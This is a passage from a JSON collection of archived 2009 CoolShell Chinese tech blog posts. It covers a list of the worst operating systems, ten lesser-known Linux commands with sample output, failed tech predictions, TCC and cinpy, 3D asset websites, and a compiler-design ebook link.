4.0](http://nukesoft.co.uk/msdos/dosversions.shtml), 1988\n\n\n1988 年微软在其MS-DOS 上花费了大量的时间来改善其，当然，MS-DOS是一版不如一版，虽然比起MS-DOS3.3都很差，但自从令人恐怕MS-DOS 4.0问世以来，其它更烂MS-DOS都不能算得上烂了。你的程序就像时钟一样的总是终断，在程序执行到一样总是会完全死了。除了Windows的蓝屏之外，没有比这再烂的事了。\n\n\n当时，几乎所有的PC要么都回到了MS-DOS 3.3 ，要么就转于使用 Digital Research的 DR-DOS 3.41 。虽然 DR-DOS 的版本号是在模仿MS-DOS 以提供相似的功能，但是Digital Research 最终在 1989 年使用了 DR-DOS 5.0 来避免人们会联想到 MS-DOS 4.0。\n\n\n\n#### [SCO Open Desktop](http://www.websters-dictionary-online.org/Op/Open+Desktop.html), 1989\n\n\n正面来说，这是第一个32位的 Unix 的图形界面，负面来说，这个操作系统的昵称叫 Open Deathtrap。Open Desktop 会是，也能够，并提供一些最令人娱乐的方式。一个编译器可以让整个系统core dump 。\n\n\n\n#### [JavaOS](http://www.operating-system.org/betriebssystem/_english/bs-javaos.htm), 1996\n\n\n想知道什么是最糟糕的操作系统的想法吗？那就是使用一种慢得像泥巴一样的语言Java来写这个操作系统。1996年，得到了IBM的帮助的Sun尝试了这件事。JavaOS 当时被设计在网络计算机上和嵌入式系统上。\n\n\n那会是怎么个样子呢？让我这样来说吧：这个世界上有许多的嵌入式操作系统，如： Qnx, VxWorks, Symbian, Windows CE 等等，但是，在这个圈子里，几乎没人知道还有JavaOS这么个东西。\n\n\n虽然有几个公司得到了许可证，但是只有一个产品在商业上使用了这个东西，那就是Sun公司自己的可能都忘了的 [JavaStation network computer](http://docs.sun.com/app/docs/doc/805-5890-10/6j5ic0vpe?l=en&a=view)。到了 2006年， Sun公司开始清理他自己的废弃的系统时，最终把结束了基于 Java的操作系统。\n\n\n#### [Windows Me](http://en.wikipedia.org/wiki/Windows_Me) (Millennium Edition千禧版), 2000\n\n\n在Vista出来之前，Windows Me 绝对是Windows系列中最差的操作系统，作为Windows 98 SE的继任者，在 *PC World* [25 史上最烂的科技产品](http://www.pcworld.com/article/125772-2/the_25_worst_tech_products_of_all_time.html)中排行第四。这是一个想集16位和 32位为一身的操作系统。就像给一匹马的每条前腿上都装上一个轮子，而在后腿上钉上马掌。缓慢，不稳定，不安全，这些都是Windows的共性，但是Windows ME是终极的缓慢，不稳定和不安全。它究竟有多烂？烂到了微软自己也就卖了它一年多一点吧。\n\n\n\n#### [Lindows](http://www.wired.com/software/coolapps/news/2001/10/47888)/[Linux XP Desktop](http://www.linux-xp.com/), 2001/2006\n\n\n如果你想要把 Linux 和 Windows 放在一起会怎么样？Nothing very good。 Lindows, 始于2001年，号称要把所有的Windows的程序可以运行在Linux下， 但没有几个月，Lindows Inc. 放弃了这个想法。就算是[WINE](http://www.winehq.org/)，这个程序也没有办法让足够多的Windows程序运行于Linux。\n\n\n当然，这些SB的想法并没有就上终止，Russia-based TrustVerse 还在试图 “We’ll be everything Windows, but we’re Linux” 去创建一个 Linux XP Desktop。这个想法并没有比 Lindows 好多少。如果你真的想在Linux下运行Windows的应用程序，你应该看看——CodeWeavers的 [CrossOver Linux](http://www.codeweavers.com/products/cxlinux/).\n\n\n\n#### [Windows Vista](http://www.microsoft.com/windows/windows-vista/discover/default.aspx), 2006\n\n\n相信你对这个操作系统不会感到陌生，那我们就用再一一列举这个系统的不好的地方了。反正，就是慢，软硬件不兼容，高成本，安全差等等这些事。\n\n\n看看这篇文章 [“Vista Capable” sticker](http://blogs.computerworld.com/microsoft_caved_to_intel_in_vista_junk_pc_scheme)你可能会知道一些，下面摘自 [early “review” of Vista](http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9065538):\n\n\n\n> “I chose my laptop (a Sony TX770P) because it had the Vista logo and was pretty disappointed that it not only wouldn’t run [Aero], but more important wouldn’t run [Windows] Movie Maker. … Now I have a $2,100 e-mail machine.”\n> \n> \n\n\n谁是这个评论的作者？ Mike Nash, Microsoft公司的副总裁，主管Window产品。这是和他一个内部的邮件，时间是 2007年2月25日。\n\n\n再看看这篇文章[downgraded to XP](http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9112885), 以及这篇文章 [extending the cutoff date for XP sales](http://blogs.computerworld.com/xp_lives_for_a_price) 还有这篇，[hurrying Windows 7 to market](http://blogs.computerworld.com/vista_r_i_p) 越来越有意思了。\n\n\n\n文章：[来源](http://www.computerworld.com/action/article.do?command=viewArticleBasic&taxonomyName=Operating+Systems&articleId=9131178&taxonomyId=89&pageNumber=1)\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![粉丝眼中的操作系统](../wp-content/uploads/2009/12/operatingsystems-fanboys-150x150.jpg)](https://coolshell.cn/articles/1998.html)[粉丝眼中的操作系统](https://coolshell.cn/articles/1998.html)\n* [![操作系统图形界面发展史(1981-2009)](../wp-content/uploads/2009/03/19-windows-3-150x150.gif)](https://coolshell.cn/articles/105.html)[操作系统图形界面发展史(1981-2009)](https://coolshell.cn/articles/105.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg](https://coolshell.cn/articles/2011.html)[推荐几个镜像站点](https://coolshell.cn/articles/2011.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/822.html)[Linux磁盘使用命令du的改进](https://coolshell.cn/articles/822.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/599.html)[Google 三维 JavaScript API 发布](https://coolshell.cn/articles/599.html)\n* [![用Google Translate玩转beat box](../wp-content/uploads/2010/12/google_beat_box-150x150.jpg)](https://coolshell.cn/articles/3331.html)[用Google Translate玩转beat box](https://coolshell.cn/articles/3331.html)\nThe post [十大史上最恶心的操作系统](https://coolshell.cn/articles/394.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-10 十个你可能不曾用过的Linux命令.md",
    "content": "---\nlayout: post\ntitle: 十个你可能不曾用过的Linux命令\ndate: 2009/5/10/ 11:26:9\nupdated: 2009/5/10/ 11:26:9\nstatus: publish\npublished: true\ntype: post\n---\n\n下面可能是你不曾用过后十个Linux的命令。相当的有用。\n\n\n**1）pgrep**\n\n\npgrep名字前有个p，我们可以猜到这和进程相关，又是grep，当然这是进程相关的grep命令。不过，这个命令主要是用来列举进程ID的。如：\n\n\n\n```\n\n$ pgrep -u hchen\n22441\n22444\n\n```\n\n这个命令相当于：\n\n\n`ps -ef | egrep '^hchen' | awk '{print $2}'`\n\n\n\n**2）pstree**\n\n\n这个命令可以以树形的方式列出进程。如下所示：\n\n\n\n```\n\n[hchen@RHELSVR5 ~]$ pstree\ninit-+-acpid\n     |-auditd-+-python\n     |        `-{auditd}\n     |-automount---4*[{automount}]\n     |-backup.sh---sleep\n     |-dbus-daemon\n     |-events/0\n     |-events/1\n     |-hald---hald-runner---hald-addon-acpi\n     |-httpd---10*[httpd]\n     |-irqbalance\n     |-khelper\n     |-klogd\n     |-ksoftirqd/0\n     |-ksoftirqd/1\n     |-kthread-+-aio/0\n     |         |-aio/1\n     |         |-ata/0\n     |         |-ata/1\n     |         |-ata_aux\n     |         |-cqueue/0\n     |         |-cqueue/1\n     |         |-kacpid\n     |         |-kauditd\n     |         |-kblockd/0\n     |         |-kblockd/1\n     |         |-kedac\n     |         |-khubd\n     |         |-6*[kjournald]\n     |         |-kmirrord\n     |         |-kpsmoused\n     |         |-kseriod\n     |         |-kswapd0\n     |         |-2*[pdflush]\n     |         |-scsi_eh_0\n     |         |-scsi_eh_1\n     |         |-xenbus\n     |         `-xenwatch\n     |-migration/0\n     |-migration/1\n     |-6*[mingetty]\n     |-3*[multilog]\n     |-mysqld_safe---mysqld---9*[{mysqld}]\n     |-smartd\n     |-sshd---sshd---sshd---bash---pstree\n     |-svscanboot---svscan-+-3*[supervise---run]\n     |                     |-supervise---qmail-send-+-qmail-clean\n     |                     |                        |-qmail-lspawn\n     |                     |                        `-qmail-rspawn\n     |                     `-2*[supervise---tcpserver]\n     |-syslogd\n     |-udevd\n     |-watchdog/0\n     |-watchdog/1\n     `-xinetd\n\n```\n\n \n\n\n**3）bc**\n\n\n这个命令主要是做一个精度比较高的数学运算的。比如开平方根等。下面是一个我们利用bc命令写的一个脚本（文件名：sqrt）\n\n\n\n```\n\n#!/bin/bash\nif [ $# -ne 1 ]\nthen\n    echo 'Usage: sqrt number'\n    exit 1\nelse\n    echo -e \"sqrt($1)\\nquit\\n\" | bc -q -i\nfi\n\n```\n\n于是，我们可以这样使用这个脚本进行平方根运算：\n\n\n\n```\n\n[hchen@RHELSVR5]$ ./sqrt 36\n6\n[hchen@RHELSVR5]$ ./sqrt 2.0000\n1.4142\n[hchen@RHELSVR5]$ ./sqrt 10.0000\n3.1622\n\n```\n\n \n\n\n**4）split**\n\n\n如果你有一个很大的文件，你想把其分割成一些小的文件，那么这个命令就是干这件事的了。\n\n\n\n```\n\n[hchen@RHELSVR5 applebak]# ls -l largefile.tar.gz\n-rw-r--r-- 1 hchen hchen 436774774 04-17 02:00 largefile.tar.gz \n\n[hchen@RHELSVR5 applebak]# split -b 50m largefile.tar.gz LF_\n\n[hchen@RHELSVR5]# ls -l LF_*\n-rw-r--r-- 1 hchen hchen 52428800 05-10 18:34 LF_aa\n-rw-r--r-- 1 hchen hchen 52428800 05-10 18:34 LF_ab\n-rw-r--r-- 1 hchen hchen 52428800 05-10 18:34 LF_ac\n-rw-r--r-- 1 hchen hchen 52428800 05-10 18:34 LF_ad\n-rw-r--r-- 1 hchen hchen 52428800 05-10 18:34 LF_ae\n-rw-r--r-- 1 hchen hchen 52428800 05-10 18:35 LF_af\n-rw-r--r-- 1 hchen hchen 52428800 05-10 18:35 LF_ag\n-rw-r--r-- 1 hchen hchen 52428800 05-10 18:35 LF_ah\n-rw-r--r-- 1 hchen hchen 17344374 05-10 18:35 LF_ai\n\n```\n\n \n\n\n文件合并只需要使用简单的合并就行了，如：\n\n\n\n```\n\n[hchen@RHELSVR5]#  cat LF_* >largefile.tar.gz\n\n```\n\n \n\n\n**5）nl**\n\n\nnl命令其它和cat命令很像，只不过它会打上行号。如下所示：\n\n\n\n```\n\n[hchen@RHELSVR5 include]# nl stdio.h | head -n 10\n     1  /* Define ISO C stdio on top of C++ iostreams.\n     2     Copyright (C) 1991,1994-2004,2005,2006 Free Software Foundation, Inc.\n     3     This file is part of the GNU C Library. \n\n     4     The GNU C Library is free software; you can redistribute it and/or\n     5     modify it under the terms of the GNU Lesser General Public\n     6     License as published by the Free Software Foundation; either\n     7     version 2.1 of the License, or (at your option) any later version.\n\n     8     The GNU C Library is distributed in the hope that it will be useful,\n\n```\n\n \n\n\n**6）mkfifo**\n\n\n熟悉Unix的人都应该知道这个是一个创建有名管道的系统调用或命令。平时，我们在命令行上使用竖线“|”把命令串起来是使用无命管道。而我们使用mkfifo则使用的是有名管道。下面是示例：\n\n\n下面是创建一个有名管道：\n\n\n\n```\n\n[hchen@RHELSVR5 ~]# mkfifo /tmp/hchenpipe\n\n[hchen@RHELSVR5 ~]# ls -l /tmp\nprw-rw-r-- 1 hchen  hchen  0 05-10 18:58 hchenpipe\n\n```\n\n然后，我们在一个shell中运行如下命令，这个命令不会返回，除非有人从这个有名管道中把信息读走。\n\n\n\n```\n\n[hchen@RHELSVR5 ~]# ls -al > /tmp/hchenpipe\n\n```\n\n我们在另一个命令窗口中读取这个管道中的信息：（其会导致上一个命令返回）\n\n\n\n```\n\n[hchen@RHELSVR5 ~]# head /tmp/hchenpipe\ndrwx------ 8 hchen hchen    4096 05-10 18:27 .\ndrwxr-xr-x 7 root  root     4096 03-05 00:06 ..\ndrwxr-xr-x 3 hchen hchen    4096 03-01 18:13 backup\n-rw------- 1 hchen hchen     721 05-05 22:12 .bash_history\n-rw-r--r-- 1 hchen hchen      24 02-28 22:20 .bash_logout\n-rw-r--r-- 1 hchen hchen     176 02-28 22:20 .bash_profile\n-rw-r--r-- 1 hchen hchen     124 02-28 22:20 .bashrc\n-rw-r--r-- 1 root  root    14002 03-07 00:29 index.htm\n-rw-r--r-- 1 hchen hchen   31465 03-01 23:48 index.php\n\n```\n\n \n\n\n**7）ldd**\n\n\n这个命令可以知道你的一个可执行文件所使用了动态链接库。如：\n\n\n\n```\n\n[hchen@RHELSVR5 ~]# ldd /usr/bin/java\n        linux-gate.so.1 =>  (0x00cd9000)\n        libgij.so.7rh => /usr/lib/libgij.so.7rh (0x00ed3000)\n        libgcj.so.7rh => /usr/lib/libgcj.so.7rh (0x00ed6000)\n        libpthread.so.0 => /lib/i686/nosegneg/libpthread.so.0 (0x00110000)\n        librt.so.1 => /lib/i686/nosegneg/librt.so.1 (0x009c8000)\n        libdl.so.2 => /lib/libdl.so.2 (0x008b5000)\n        libz.so.1 => /usr/lib/libz.so.1 (0x00bee000)\n        libgcc_s.so.1 => /lib/libgcc_s.so.1 (0x00aa7000)\n        libc.so.6 => /lib/i686/nosegneg/libc.so.6 (0x0022f000)\n        libm.so.6 => /lib/i686/nosegneg/libm.so.6 (0x00127000)\n        /lib/ld-linux.so.2 (0x00214000)\n\n```\n\n \n\n\n**8）col**\n\n\n这个命令可以让你把man文件转成纯文本文件。如下示例：\n\n\n\n```\n\n# PAGER=cat\n# man less | col -b > less.txt\n\n```\n\n \n\n\n**9）xmlwf**\n\n\n这个命令可以让你检查一下一个XML文档是否是所有的tag都是正常的。如：\n\n\n\n```\n\n[hchen@RHELSVR5 ~]# curl 'https://coolshell.cn/?feed=rss2' > cocre.xml\n  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n100 64882    0 64882    0     0  86455      0 --:--:-- --:--:-- --:--:-- 2073k\n[hchen@RHELSVR5 ~]# xmlwf cocre.xml\n[hchen@RHELSVR5 ~]# perl -i -pe 's@<link>@<br>@g' cocre.xml\n[hchen@RHELSVR5 ~]# xmlwf cocre.xml\ncocre.xml:13:23: mismatched tag\n\n```\n\n \n\n\n**10）lsof**\n\n\n可以列出打开了的文件。\n\n\n\n```\n\n[root@RHELSVR5 ~]# lsof | grep TCP\nhttpd       548    apache    4u     IPv6   14300967    TCP *:http (LISTEN)\nhttpd       548    apache    6u     IPv6   14300972    TCP *:https (LISTEN)\nhttpd       561    apache    4u     IPv6   14300967    TCP *:http (LISTEN)\nhttpd       561    apache    6u     IPv6   14300972    TCP *:https (LISTEN)\nsshd       1764      root    3u     IPv6       4993    TCP *:ssh (LISTEN)\ntcpserver  8965      root    3u     IPv4  153795500    TCP *:pop3 (LISTEN)\nmysqld    10202     mysql   10u     IPv4   73819697    TCP *:mysql (LISTEN)\nsshd      10735      root    3u     IPv6  160731956    TCP 210.51.0.232:ssh->123.117.239.68:31810 (ESTABLISHED)\nsshd      10767     hchen    3u     IPv6  160731956    TCP 210.51.0.232:ssh->123.117.239.68:31810 (ESTABLISHED)\nvsftpd    11095      root    3u     IPv4  152157957    TCP *:ftp (LISTEN)\n\n```\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\nThe post [十个你可能不曾用过的Linux命令](https://coolshell.cn/articles/790.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-10 十大最失水准的科技预测.md",
    "content": "---\nlayout: post\ntitle: 十大最失水准的科技预测\ndate: 2009/5/10/ 6:45:5\nupdated: 2009/5/10/ 6:45:5\nstatus: publish\npublished: true\ntype: post\n---\n\n英国权威消费数码杂志T3评出了有史以来十大最失水准的科技预测。比尔·盖茨也占了其中2项。预测未来的确是一件很难的事情，即便是最聪明的人也会马失前蹄。\n\n\n1.  下一个圣诞节，iPod将会死去，完蛋，过时。 *Allan Sugar爵士（一个很著名的英国企业家，和BBC合作一个著名的节目《学徒》）, 2005.*2.  家庭不需要有一台电脑。  *Ken Olsen, Digital Equipment简称DEC的创始人, 1977.*  \n\n3.  核能吸尘器将在10年内成为现实。  *Alex Lewyt（*真空吸尘器公司Lewyt Corp的CEO*）, 1955.*  \n\n4.  电视不可能兴盛起来，因为人们“很快就会因为每晚盯着一个胶合板盒子而感到厌烦”。 *Darryl Zanuck（* 好莱坞多栖明星*）, 1946.*  \n\n5.  1933年，在可容纳10名乘客的波音247首航之后，一名自豪的波音工程师曾表示：“永远不可能制造出比247更大的飞机”。 *Boeing engineer, 1933.*\n\n\n  \n\n6.  我们已处在火箭邮递时代开始的前夜。 *Arthur Summerfield（美国邮政部长）, 1959.*  \n\n7.  不可能再有人需要为自己的PC安装超过640 KB的内存。 *Bill Gates, allegedly in  1981*  \n\n8.  美国人需要电话，但我们并不需要，因为我们有数量庞大的信差。 *William Preece 爵士,* 英国邮政总局首席工程师*, 1874.*  \n\n9.  垃圾邮件问题将在两年内得到解决。 *Bill Gates, 2004.*  \n\n10. 事实将证明，X射线不过是一个骗局。  *Lord Kelvin,* 英国皇家学会会长*, 1883.*\n\n\n原文链接: <http://www.t3.com/news/sugar-ipod-error-is-worst-tech-prediction?=37516> \n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg](https://coolshell.cn/articles/2015.html)[google的免费dns服务器](https://coolshell.cn/articles/2015.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg](https://coolshell.cn/articles/1432.html)[编译vim解决中文支持](https://coolshell.cn/articles/1432.html)\n* [![游戏Flash vs HTML5](../wp-content/uploads/2010/11/flash_vs_html5-150x150.jpg)](https://coolshell.cn/articles/3267.html)[游戏Flash vs HTML5](https://coolshell.cn/articles/3267.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg](https://coolshell.cn/articles/753.html)[不要拯救那些职场上的“无可救药”](https://coolshell.cn/articles/753.html)\n* [![中国仍是IE6的重灾区](../wp-content/uploads/2011/03/IE6-Countdown-150x150.png)](https://coolshell.cn/articles/3921.html)[中国仍是IE6的重灾区](https://coolshell.cn/articles/3921.html)\n* [![图解SQL的Join](../wp-content/uploads/2011/01/Inner_Join-150x150.png)](https://coolshell.cn/articles/3463.html)[图解SQL的Join](https://coolshell.cn/articles/3463.html)\nThe post [十大最失水准的科技预测](https://coolshell.cn/articles/783.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-10 用TCC可以干些什么？.md",
    "content": "---\nlayout: post\ntitle: 用TCC可以干些什么？\ndate: 2009/5/10/ 7:22:15\nupdated: 2009/5/10/ 7:22:15\nstatus: publish\npublished: true\ntype: post\n---\n\nTiny C Compiler 是一个微型的 C 语言编译器，支持 Windows 和 Linux 平台。其项目主页是： <http://bellard.org/tcc/> 。你可以使用这个不到100K的编译器编译你的C文件，其支持C的预处理，编译，机器码汇编和链接。编译速度也超过了gcc，而且它支持ISO C99标准，并且，tcc还包括了一些内存和数组边界的检查。其还可以编译Linux的内核。\n\n\n不过，TCC 最有趣的特性是可以用 UNIX 系统上常见的 #!/usr/bin/tcc 的方式来执行 ANSI C 语言写就的源程序，省略掉了在命令行上进行编译和链接的步骤，而可以直接运行 C 语言写就的源程序。这样就能做到像任何一种其它的脚本语言比如 Perl 或者是 Python 一样，显著的加快开发步调。可以像编写 Shell 脚本一样的使用 C 语言，随便想一想都觉得是一件奇妙的事情。但是 TCC 还有一些其它的特性呢！\n\n\n\n在TCC这个超小型的C语言编译器下，我们还可以干得更多，比如这个开源项目：C in Python，项目主页是：<http://www.cs.tut.fi/~ask/cinpy/>，这个项目主要是让你可以在Python中直接使用C的源码。呵呵。\n\n\nCinpy 是一个Python的库，它可以让你在Python的模块中实现C的函数。在前些天，酷壳向大家介绍过《[Python调用C语言函数](https://coolshell.cn/articles/671.html)》——这主要是通过调用动态链接库的方式调用C的函数。而Cinpy则是直接在Python中写C语言。\n\n\n我们来看一个示例：（部分代码）\n\n\n\n```\n\nimport ctypes\nimport cinpy\n\n# Fibonacci in Python\ndef fibpy(x):\n    if x<=1: return 1\n    return fibpy(x-1)+fibpy(x-2)\n\n# Fibonacci in C\nfibc=cinpy.defc(\"fib\",\n                ctypes.CFUNCTYPE(ctypes.c_long,ctypes.c_int),\n                \"\"\"\n                long fib(int x) {\n                    if (x<=1) return 1;\n                    return fib(x-1)+fib(x-2);\n                }\n                \"\"\")\n\n# ...and then just use them...\n# (there _is_ a difference in the performance)\nprint fibpy(30)\nprint fibc(30)\n\n```\n\n源代码这里下载：[cinpy-0.10.tar.gz](https://coolshell.cn/wp-admin/cinpy-0.10.tar.gz)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Python修饰器的函数式编程](../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg)](https://coolshell.cn/articles/11265.html)[Python修饰器的函数式编程](https://coolshell.cn/articles/11265.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/4939.html)[Quora使用到的技术](https://coolshell.cn/articles/4939.html)\nThe post [用TCC可以干些什么？](https://coolshell.cn/articles/786.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-11 5个不错的3D素材网站.md",
    "content": "---\nlayout: post\ntitle: 5个不错的3D素材网站\ndate: 2009/5/11/ 14:14:47\nupdated: 2009/5/11/ 14:14:47\nstatus: publish\npublished: true\ntype: post\n---\n\n你也许并不是一个创建3D图形的好手，你也许只能创建一些原始的东西，如：停止或灯炮标志等等这些小孩子玩的东西。而我们现实世界则需要更复杂更牛的东西，比如说一个人物，一个机车等等。这里有史上最好的5个网站，你可以通过这些网站找到你想要的模型，这些3D的模型或资源对你开发游戏一定会有很大的帮助。\n\n\n### [3DRT](http://www.3drt.com/)\n\n\n这是一个迄今为止最好的站点。不仅仅因为这个站点有很多非常专业的模型，而且这个站点在收费方面还不是太坏——经常会有一些折扣。几乎，所有的模型都是动两国的，而且他们还是有皮肤的。他们有各式各样样的格式，并且提供PSD文件，这样方便你创建自己的皮肤。\n\n\n\n### [Garage Games](http://www.garagegames.com/products/browse/artpacks)\n\n\n在 Garage Games，一些艺术包也有非常“漂亮”的价格，有一些相当不错，但也有一些普普通通。这些东西完全取决于艺术家们怎么去创作他们的。这个站点并不提供很多的格式。另外，在 Garage Games上，你还能找到很多不错的声音素材。\n\n\n### [FPS Creator](http://www.fpscreator.com/)\n\n\n这个站点有很多相当不错的模型和声音。所有的素材都是动画的和有皮肤的。所有的都是基于FPS creator格式的和可以被转换成其它格式的 .X 格式。有一个很不错的是，这些FPS 模型（手臂和火枪）包括了很多的乱七八糟的生物和敌人，这些东西几乎可以用来直接用于游戏了。\n\n\n### [Realm Crafter Packs](http://www.realmcrafter.com/store/home.php?cat=250)\n\n\n这里的模式是中等质量的。他们并不是最好的，不过他们的价格可能是比较低的。几乎所有的模型都是有动画的并有一些不同的格式。有一些模式只是静态的而没有动画。\n\n\n### [Tridinaut](http://www.tridinaut.com/products.htm)\n\n\n如果你想一些中世纪的武器，那么这个站点会给你提供很多这类的玩意。质量非常好，而且所有的模型现在还在免费。如果你给上 $50-$100 美金，他们会给你制作你想要的东西，这些人的确非常不错。\n\n\n希望你觉得这5个站点对你的游戏编程的工作很有用。\n\n\n文章：[来源](http://www.omahagamedev.com/?p=12)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![28个Unix/Linux的命令行神器](../wp-content/uploads/2012/07/dstat_screenshot-150x150.png)](https://coolshell.cn/articles/7829.html)[28个Unix/Linux的命令行神器](https://coolshell.cn/articles/7829.html)\n* [![一些文章资源和趣闻](../wp-content/uploads/2011/11/stackparts.com_-150x150.png)](https://coolshell.cn/articles/5537.html)[一些文章资源和趣闻](https://coolshell.cn/articles/5537.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/3516.html)[JS游戏引擎列表](https://coolshell.cn/articles/3516.html)\n* [![游戏Flash vs HTML5](../wp-content/uploads/2010/11/flash_vs_html5-150x150.jpg)](https://coolshell.cn/articles/3267.html)[游戏Flash vs HTML5](https://coolshell.cn/articles/3267.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/2998.html)[HTML5 小游戏展示](https://coolshell.cn/articles/2998.html)\nThe post [5个不错的3D素材网站](https://coolshell.cn/articles/796.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-11 电子书：编译器设计基础.md",
    "content": "---\nlayout: post\ntitle: 电子书：编译器设计基础\ndate: 2009/5/11/ 14:20:24\nupdated: 2009/5/11/ 14:20:24\nstatus: publish\npublished: true\ntype: post\n---\n\n这是一本关于编译器设计原理的书，让我又想起了大学时的《编译原理》还有那长篇长篇的作业，以及几个方法分析器的上机实习。现在基本上都全部还给老师了。\n\n\nBasics of Compiler Design  \n\n<http://www.diku.dk/hjemmesider/ansatte/torbenm/Basics/>\n\n\n[**PDF下载**](http://www.diku.dk/hjemmesider/ansatte/torbenm/Basics/basics_lulu.pdf)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Unix考古记：一个“遗失”的shell](../wp-content/uploads/2013/04/figure1-150x150.gif)](https://coolshell.cn/articles/9410.html)[Unix考古记：一个“遗失”的shell](https://coolshell.cn/articles/9410.html)\n* [![GCC 用 C++ 来编译](../wp-content/uploads/2012/08/VEC-vs-vector-150x150.jpg)](https://coolshell.cn/articles/8115.html)[GCC 用 C++ 来编译](https://coolshell.cn/articles/8115.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/4710.html)[Python 和 PyGame 的一些示例](https://coolshell.cn/articles/4710.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4220.html)[一些有意思的文章和资源](https://coolshell.cn/articles/4220.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\nThe post [电子书：编译器设计基础](https://coolshell.cn/articles/799.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-13 关于C++构造函数的FAQ.md",
